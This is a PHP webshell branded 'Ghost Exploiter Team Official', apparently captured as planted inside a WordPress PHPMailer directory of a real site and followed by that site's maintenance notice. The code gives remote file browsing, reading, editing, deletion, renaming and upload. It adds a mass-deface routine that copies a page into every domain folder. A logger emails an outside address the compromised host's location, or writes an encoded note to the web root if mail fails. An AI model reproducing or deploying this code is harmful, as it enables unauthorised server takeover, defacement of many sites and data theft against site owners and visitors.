Current File : /home/pacjaorg/public_html/copp/wp-includes/PHPMailer/277727/index.php
<!-- 
 -->

<?php

$xNamashell = "b3p45.php";//isi nama file mu

error_reporting(0);

if (isset($_GET['dir'])) {
	$dir = $_GET['dir'];
} else {
	$dir = getcwd();
}
?>

<!DOCTYPE php>
<php>
<head>
	<title>webshell</title>
</head>

<style>
@import url("https://fonts.googleapis.com/css?family=New+Rocker|Shadows+Into+Light&display=swap");
* {
	font-family: monospace;
	font-weight: 800;
}
body {
	font-size: 120%;
	color: #fff;
	padding: 0;
	margin: 25% 10% 10% 10%;
	background-color: #111;
	text-shadow: rgba(0,0,0,1) 2px 2px 0.1em;
}
table {
	margin: auto;
	margin-bottom: 20px;
	width: 96%;
}
table td {
	transition: all .5s;
}
.data-table {
	border-collapse: collapse;
	font-size: 110%;
	min-width: 600px;
}
.data-table th, 
.data-table td {
	border: none;
	padding: 7px 15px;
	width: 33%;
}
h3.title{
	margin-bottom: 20px;
	margin-top: 0px;
	text-align: left;
	background-color: #f00;
	padding: 10px;
	font-weight: 900;
	font-size: 160%;
	font-family: New Rocker;
}
.data-table tbody td {
	color: #fff;
	background-color: #282828;
}
.data-table tbody td:nth-child(4),
.data-table tbody td:last-child {
	text-align: left;
}
.data-table tbody td:first-child{
	text-align: left;
}
.data-table tbody tr:nth-child(odd) td {
	background-color: #222;
}
.data-table tbody tr:hover td {
	background-color: #151515;
	border-color: #ccc;
}
.data-table tbody tr.stamp td {
	color: #fff;
	background-color: #000;
}
.data-table tbody tr.data td.nick {
	color: #f00;
}
.kotak{
	border: 2px solid #f00;
	width: 100%;;
	border-radius: 6px;
	box-shadow: rgba(0,0,0,1) 3px 3px 5em;
	padding-bottom: 10px;
}
.btn{
	background-color: #f00;
	border-radius: 5px;
	border: 2px solid red;
	width: 75px;
	height: 27px;
	font-size: 0.8em;
	font-weight: 600;
	color: #fff;
	outline: none;
	margin: 4px;
	font-weight: 900;
	padding: 2px 3px;
	text-shadow: none;
}
.btn:hover{
	box-shadow: 0px 0px 2px 2px darkred;
}

a{
	color: #fff;
	text-decoration: none;
}
a:hover{
	color: #fff;
}
.nav_up{
	margin: 2%;;
	margin-top: 0px;
}
.stamp th{
	font-size: 140%;
}
.dirname{
	color: #f00;
}
.filename{
	color: #fff;
}
input.btn.mini{
	width: 35px;
	height: 24px;
}
.dirnav{
	margin-bottom: 20px;
}
.dirnav a{
	color: lime;
}
textarea{
	width: 95.5%;
	height: 400px;
}
.balik{
	margin-right: 200px;
}
.data-table th.det, 
.data-table td.det{
	width: 40%;
}
.fileinput{
	width: 100px;
}
.newf{
	width: 90px;
}
.hide{
	display: none;
}
.rmf{
	margin-right: -5px;
}
.go{
	background-color: green;
	border: none;
}
.go:hover{
	box-shadow: 0px 0px 2px 2px darkgreen;
}
.fitur{
	text-align: right;
	margin-top: -15px;
	margin-right: 1%;
}
.massarea{
	font-size: 60%;
	margin: 2%;
}
.mass{
	margin-left: 2%;
	margin-top: 1%;
	margin-right: 2%;
	font-size: 60%;
}
.massresult{
	margin-top: 8%;
	font-size: 80%;
	margin-left: 2%;
	text-align: left;
}
.inputmass{
	text-align: left;
}
.massbt{
	font-size: 60%;
}
.massform{
	margin-top: 6%;
}
</style>
<body>
<div class="kotak">
	<h3 class="title">Ghost Exploiter Team Official</h3>
	<div class="fitur">
			<button type="button" class="btn massbt" onclick="display('tabel','massform')">Mass Deface</button>
	</div>
	<div class="nav_up">

<?php
		$dir = str_replace("\\", "/", $dir);
		$dirs = explode("/", $dir);
	
		foreach ($dirs as $key => $value) {
			if ($value == "" && $key == 0){
				echo '<h3 class="dirnav">Directory >> <a href="/">/</a>'; continue;
			} echo '<a href="?dir=';
	
			for ($i=0; $i <= $key ; $i++) { 
				echo "$dirs[$i]"; if ($key !== $i) echo "/";
			} echo '">'.$value.'</a>/';
	}
	echo '</h3>';
	if (isset($_POST['submit'])){
	
		$namafile = $_FILES['upload']['name'];
		$tempatfile = $_FILES['upload']['tmp_name'];
		$tempat = $_GET['dir'];
		$error = $_FILES['upload']['error'];
		$ukuranfile = $_FILES['upload']['size'];
	
		move_uploaded_file($tempatfile, $dir.'/'.$namafile);
				echo "
					<script>alert('file terupload!');</script>
					";
	}
	?>
	<form method="post" enctype="multipart/form-data">
	<input type="file" name="upload">
	<input type="submit" name="submit" value="Upload">
	</form>
	</div>
<center>
<!--Mass Deface-->
<?php
echo "
	<form method='post' class='hide massform' id='massform'>
	<font color='#f00' size='6px'>Mass Deface Auto Detect Domain</font><br><br><br>
		<div class='inputmass'>
		<input class='mass' type='text' name='pwd' size='50' value='$dir'><font color='silver' size='1px'>/*Ubah Ke document_root untuk mass deface*/</font><br>
		<input class='mass' type='text' name='namasc' size='50' placeholder='namafile.ext'><br>
		</div>
		<textarea name='scdeface' width='400px' placeholder='scdeface' class='massarea'></textarea>
		<input type='submit' name='massdef' value='Start' class='btn edt'><br>
	</form>";
?>
<!--Table-->
	<table class="data-table" id="tabel">
		<thead>
			<tr class="stamp">
				<th>File / Folder</th>
				<th>Size</th>
				<th>Action</th>
			</tr>
		</thead>
		<tbody>
		<tr>
			<td style="color: lime">.</td>
			<td style="color: lime"><center>-</center></td>
			<td><center>
			<div id="divneww" style="display:none">
			<form method="POST">
			<input name="newflname" class="fileinput" type="text" size="20" placeholder="namafile"/>
			<input type="submit" value="Go" class="btn mini go" name="newfile"/>
			</form>
			</div>
			<?php
			echo '<div id="divnew"><button class="btn newf" onclick=\'display("divnew","divneww")\'>+New File</button></div>';
			?>
			</center>
			</td>
		</tr>
	<?php

	$scan = scandir($dir);

foreach ($scan as $directory) {
	if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;

	echo '
	<tr class="data">
	<td class="det">
	<a class="dirname" href="?dir='.$dir.'/'.$directory.'">'.dirlimit($directory).'</a>
	</td>
	<td style="color: red;"><center>--</center></td>
	<td>
	<center>';
	echo '<form method="POST" id="'.clearspace($directory).'_form" class="hide">
	<input name="newname" class="fileinput" type="text" size="20" value="'.$directory.'" />
	<input type="hidden" name="path" value="'.$dir.'">
	<input type="hidden" name="oldname" value="'.$directory.'">
	<input type="submit" value="Go" class="btn mini go"/>
	</form>';
	echo '<div id="'.clearspace($directory).'_link">
	<form method="post">
	<input type="hidden" value="'.$dir.'/'.$directory.'" name="dirdl">
	<input type="hidden" value="'.$dir.'" name="dirpath">
	<input type="submit" value="del" name="rmdir" class="btn mini">';
	echo '<a class="btn" href=\'javascript:display("'.clearspace($directory).'_link","'.clearspace($directory).'_form");\'>ren</a>';
	echo '</form>
	</div>
	</center>
	</td>
	</tr>
	';
	}
foreach ($scan as $file) {
	if (!is_file($dir.'/'.$file)) continue;

	$jumlah = filesize($dir.'/'.$file)/1024;
	$jumlah = round($jumlah, 3);
	if ($jumlah >= 1024) {
		$jumlah = round($jumlah/1024, 2).'MB';
	} else {
		$jumlah = $jumlah .'KB';
	}

	echo '
	<tr>
	<td><a class="filename" href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.wordlimit($file).'</a></td>
	<td style="color: lime;"><center>'.$jumlah.'</center></td>
	<td><center>';
	echo '<form method="POST" id="'.clearfile($file).'_form" class="hide">
	<input name="newname" class="fileinput" type="text" size="20" value="'.$file.'" />
	<input type="hidden" name="path" value="'.$dir.'">
	<input type="hidden" name="oldname" value="'.$file.'">
	<input type="submit" value="Go" class="btn mini go"/>
	</form>';
	echo '
	<div id="'.clearfile($file).'_link">
	<form method="post">
	<input type="hidden" value="'.$dir.'/'.$file.'" name="filedl">
	<input type="hidden" value="'.$dir.'" name="filepath">
	<input type="submit" value="del" name="rmfile" class="btn mini rmf">
	<a href="?dir='.$dir.'&ubah='.$file.'" class="btn">edt</a>';
	echo '<a class="btn" href=\'javascript:display("'.clearfile($file).'_link","'.clearfile($file).'_form");\'>ren</a>';
	echo '</form></div></center>
	</td>
	</tr>
	';
}

echo '
	</tbody>
	</table>
';

/*action*/
if (isset($_GET['open'])) {
	echo '
	<br />
	<style>
		table{
			display: none;
		}
	</style>
	<textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea>
	';
}

if (isset($_POST['rmfile'])) {
	if (unlink($_POST['filedl'])) {
		echo "<script>alert('Delete Ok !');window.location='?dir=".$_POST['filepath']."';</script>";
	}
}

if (isset($_POST['rmdir'])){
	if(rmdir($_POST['dirdl'])){
		echo "<script>alert('Delete Ok !');window.location='?dir=".$_POST['dirpath']."';</script>";
	}
}

if(isset($_GET['ubah'])){
	if(isset($_POST['edit'])){
		$fp = fopen($_POST['object'], 'w');
		if(fwrite($fp,$_POST['edit'])){
			echo "<script>alert('Edit Ok !');window.location='?dir=".$_GET['dir']."';</script>";
		}else{
			err();
		}
		fclose($fp);
	}
	
$hell = $_GET['dir'];
$yeah = $_GET['ubah'];
$patc = "$hell/$yeah";

echo '<style>
			table {
				display: none;
			}
		</style>

		<form method="post" action="">
		<input type="hidden" name="object" value="'.$patc.'">
		<textarea name="edit">'.htmlspecialchars(file_get_contents($patc)).'</textarea>
		<a href="?dir='.$dir.'" class="balik"><=Back</a>
		<button type="submit" name="go" value="Submit" class="btn edt">Liking</button>
		</form>
		';
}
if(isset($_POST['newname'])){
	if(rename($_POST['path'].'/'.$_POST['oldname'], $_POST['path'] . '/' .$_POST['newname'])){
		ok();
	}else{
		err();
	}
}
if(isset($_POST['newfile'])){
	$newfl = $dir. '/' . $_POST['newflname'];
	if(isset($newfl)){
	if(fopen($newfl,'w')){
		ok();
	}else{
		err();
	}
	}
}
if(isset($_POST['massdef'])){
echo '<style>
			table {
				display: none;
			}
		</style>';
$nama = $_POST['namasc'];
$sc = $_POST['scdeface'];
$bikin = fopen($nama, "w");
		 fwrite($bikin, $sc);
		 fclose($bikin);
$root = $_POST['pwd'];
$scan = scandir($root);
echo "<div class='massresult'>";
echo "<font color='lime'>[ DETECTED DOMAINS ] : </font><br><br><textarea>";
foreach ( $scan as $a ) {
	$dir = $a;
	$full = $root.'/'.$a.'/'.$nama;
	$ekse = @copy($nama, $full);
	if($ekse) { 
	/*filtering dikit :v*/
		if(preg_match('/[\w]+[.]+[a-z]+/i', $dir,$match)) {
			echo "http://$dir/$nama\n";
		}
	}
}
echo "\n\nNB : Kalo ada dir/domain yang gak terdetect isi sendiri yak :v\nPutra Gans tq</textarea>";
echo "</div>";
}
/*function*/
function wordlimit($file,$limit=26){
	if(strlen($file)>$limit)
	$word = mb_substr($file,0,$limit-3)."<font color=#f00>...</font>";
	else
	$word = $file;
	return $word;          
}
function dirlimit($directory,$limit=22){
	if(strlen($directory)>$limit)
	$dirlim = mb_substr($directory,0,$limit-3)."<font color=#fff>...</font>";
	else
	$dirlim = $directory;
	return $dirlim;          
}
function ok(){
	echo "<script>alert('Berhasil !');window.location='';</script>";
}
function err(){
	echo "<script>alert('Gagal !');window.location='';</script>";
}
function clearspace($directory){
	return str_replace(" ","_",$directory);
}
function clearfile($file){
	return str_replace(" ","_",$file);
}

?>
<!--Logger-->
<?php
$ip = getenv("REMOTE_ADDR");
$root = $_SERVER['DOCUMENT_ROOT'];
$sub = "Logger Notice !!";
$email = "hackerafee@gmail.com"; //isi email lu
$from = "Setor Shell";
$file = $_SERVER['REQUEST_URI'];
$web = $_SERVER['HTTP_HOST'];
$ipz = $ip . "";
$uatama = "IP : $ipz<br><br>Website : $web<br>Filepath : <font color=green>$web$file</font><br>";
//ini kalo gak ada fitur mailer :v
if(!mail($email, $sub, $uatama, $from)){
	$newfl = $root. '/' . "webdocs.txt";
	$pesta = "IP : $ipz\n\nFilepath : $web$file\nPeace :p";
	if(isset($newfl)){
		$write = fopen($newfl,'w');
		$txt = base64_encode(str_rot13($pesta));
		fwrite($write, $txt);
		fclose($write);
	}
};
?>

<script type="text/javascript">
	function display(hide,show){
		document.getElementById(hide).style.display = 'none';
		document.getElementById(show).style.display = 'block';
	}
</script>
</body>
</html>
Site is undergoing maintenance

PACJA Events

Maintenance mode is on

Site will be available soon. Thank you for your patience!